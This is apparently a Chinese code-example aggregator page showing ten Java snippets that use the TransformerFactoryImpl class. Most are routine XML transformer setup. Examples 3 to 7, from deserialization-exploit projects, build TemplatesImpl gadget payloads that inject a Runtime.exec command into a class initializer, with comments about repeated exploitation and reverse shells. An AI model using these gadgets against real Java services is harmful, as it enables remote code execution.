本文整理汇总了Java中com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl类的典型用法代码示例。如果您正苦于以下问题:Java TransformerFactoryImpl类的具体用法?Java TransformerFactoryImpl怎么用?Java TransformerFactoryImpl使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。
TransformerFactoryImpl类属于com.sun.org.apache.xalan.internal.xsltc.trax包,在下文中一共展示了TransformerFactoryImpl类的10个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的Java代码示例。
示例1: initialize
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
@Override
public boolean initialize(ResourceSpecifier aSpecifier, Map<String, Object> aAdditionalParams)
throws ResourceInitializationException {
boolean ret = super.initialize(aSpecifier, aAdditionalParams);
String version = String.class.cast(getParameterValue("version"));
String username = String.class.cast(getParameterValue("username"));
String password = String.class.cast(getParameterValue("password"));
String email = String.class.cast(getParameterValue("email"));
conf = createConf(version, username, password, email, false, 0);
xmlInputFactory = XMLInputFactory.newFactory();
try {
transformer = new TransformerFactoryImpl().newTransformer();
transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
transformer.setOutputProperty(OutputKeys.INDENT, "no");
unmarshaller = JAXBContext.newInstance(MetaMapObject.class).createUnmarshaller();
} catch (TransformerConfigurationException | JAXBException e) {
throw new ResourceInitializationException();
}
return ret;
}
开发者ID:oaqa,项目名称:bioasq,代码行数:21,代码来源:MetaMapConceptProvider.java
示例2: testStx
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
@Test
@Ignore
public void testStx() throws Exception{
TransformerFactory tFactory = new TransformerFactoryImpl();
SAXTransformerFactory saxTFactory = (SAXTransformerFactory) tFactory;
// of course the transformation source must be different
TransformerHandler tHandler1 =
saxTFactory.newTransformerHandler(new StreamSource("trans.stx"));
XMLReader myReader = XMLReaderFactory.createXMLReader();
myReader.setContentHandler(tHandler1);
ContentHandler mySerializer = null;
tHandler1.setResult(new SAXResult(mySerializer));
}
开发者ID:tblsoft,项目名称:solr-cmd-utils,代码行数:17,代码来源:JaxbTest.java
示例3: createTemplatesImpl
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
开发者ID:NetSPI,项目名称:JavaSerialKiller,代码行数:26,代码来源:Gadgets.java
示例4: createTemplatesImpl
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
开发者ID:njfox,项目名称:Java-Deserialization-Exploit,代码行数:26,代码来源:Gadgets.java
示例5: createTemplatesImpl
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
开发者ID:hucheat,项目名称:APacheSynapseSimplePOC,代码行数:12,代码来源:Gadgets.java
示例6: createTemplatesImpl
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
public static Object createTemplatesImpl ( final String[] command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
开发者ID:pimps,项目名称:ysoserial-modified,代码行数:12,代码来源:Gadgets.java
示例7: createTemplatesImpl
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
public static Object createTemplatesImpl ( final String[] args ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
args,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
开发者ID:mbechler,项目名称:marshalsec,代码行数:12,代码来源:TemplatesUtil.java
示例8: MetaMapConceptProvider
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
MetaMapConceptProvider(String version, String username, String password, String email,
boolean silentOnError, int priority) throws ResourceInitializationException {
conf = createConf(version, username, password, email, silentOnError, priority);
xmlInputFactory = XMLInputFactory.newFactory();
try {
transformer = new TransformerFactoryImpl().newTransformer();
transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
transformer.setOutputProperty(OutputKeys.INDENT, "no");
unmarshaller = JAXBContext.newInstance(MetaMapObject.class).createUnmarshaller();
} catch (TransformerConfigurationException | JAXBException e) {
throw new ResourceInitializationException();
}
}
开发者ID:oaqa,项目名称:bioasq,代码行数:14,代码来源:MetaMapConceptProvider.java
示例9: getTransformerHandler
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
TransformerHandler getTransformerHandler(String fileName) throws TransformerConfigurationException {
if(fileName.endsWith(".stx")) {
SAXTransformerFactory stxFactory = new net.sf.joost.trax.TransformerFactoryImpl();
return stxFactory.newTransformerHandler(new StreamSource("test.stx"));
}
if(fileName.endsWith(".xsl")) {
SAXTransformerFactory xslFactory = (SAXTransformerFactory) TransformerFactory.newInstance();;
return xslFactory.newTransformerHandler(new StreamSource("test.xsl"));
}
throw new IllegalArgumentException("Only the filetypes xsl and stx are supported.");
}
开发者ID:tblsoft,项目名称:solr-cmd-utils,代码行数:13,代码来源:JaxbTest.java
示例10: newDefaultInstance
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
/**
* Creates a new instance of the {@code TransformerFactory} builtin
* system-default implementation.
*
* @return A new instance of the {@code TransformerFactory} builtin
* system-default implementation.
*
* @since 9
*/
public static TransformerFactory newDefaultInstance() {
return TransformerFactoryImpl.newTransformerFactoryNoServiceLoader();
}
开发者ID:AdoptOpenJDK,项目名称:openjdk-jdk10,代码行数:13,代码来源:TransformerFactory.java
注:本文中的com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl类示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论